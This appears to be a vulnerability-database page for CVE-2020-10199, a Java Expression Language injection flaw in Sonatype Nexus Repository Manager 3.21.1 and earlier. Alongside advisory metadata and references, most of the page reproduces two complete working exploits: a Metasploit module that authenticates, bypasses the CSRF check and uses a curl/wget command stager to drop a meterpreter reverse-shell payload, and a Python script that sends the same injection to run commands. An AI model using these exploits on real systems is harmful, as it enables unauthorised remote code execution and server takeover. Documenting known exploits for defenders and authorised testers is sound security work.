CVE-2020-10199
unknown
KEV
CVSS v3
—
CVSS v4 NEW
—
VIR risk
2.5
Description
Sonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.
CISA KEV
- Vendor
- Sonatype
- Product
- Nexus Repository
- Due date
- 2022-05-03
Predictions
Exploit likelihood
99%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Nexus Repository Manager - Java EL Injection RCE (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user.
This is a post-authentication vulnerability, so credentials are required
to exploit the bug. Any user regardless of privilege level may be used.
Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password'])
])
end
def post_auth?
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end
# Send a GET / request to the server, check the response for a Server header
# containing the Nexus version, and then check if it's a vulnerable version
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end
# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first
unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end
if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Executing command stager for #{datastore['PAYLOAD']}")
# This will drop a binary payload to disk and execute it!
execute_cmdstager(
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end
def login(username, password)
print_status("Logging in with #{username}:#{password}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
}, 3.5)
unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end
cookie = res.get_cookies
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end
print_good("Logged in with #{cookie}")
cookie
end
# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)
unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end
# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF
# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end
end
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Author: 1F98D
# Original Author: Alvaro Muñoz
# Date: 27 May 2020
# Vendor Hompage: https://www.sonatype.com/
# CVE: CVE-2020-10199
# Tested on: Windows 10 x64
# References:
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
#
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable
# to Java EL injection which allows a low privilege user to remotely
# execute code on the target server.
#
#!/usr/bin/python3
import sys
import base64
import requests
URL='http://192.168.1.1:8081'
CMD='cmd.exe /c calc.exe'
USERNAME='admin'
PASSWORD='password'
s = requests.Session()
print('Logging in')
body = {
'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session',data=body)
if r.status_code != 204:
print('Login unsuccessful')
print(r.status_code)
sys.exit(1)
print('Logged in successfully')
body = {
'name': 'internal',
'online': True,
'storage': {
'blobStoreName': 'default',
'strictContentTypeValidation': True
},
'group': {
'memberNames': [
'$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'
]
},
}
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
print('Command executed')
sys.exit(0)
else:
print('Error executing command, the following was returned by Nexus')
print(r.text)
Metasploit modules
Source fetch failed: fetch_error — view the original via the link above.
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Maven | org.sonatype.nexus:nexus-extdirect | <3.21.2 | 3.21.2 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
- https://cwe.mitre.org/data/definitions/917.html
- https://github.com/sonatype/nexus-public
- https://securitylab.github.com/advisories/GHSL-2020-015-nxrm-sonatype
- https://support.sonatype.com/hc/en-us/articles/360044882533
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10199
- http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/160835/Sonatype-Nexus-3.21.1-Remote-Code-Execution.html
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.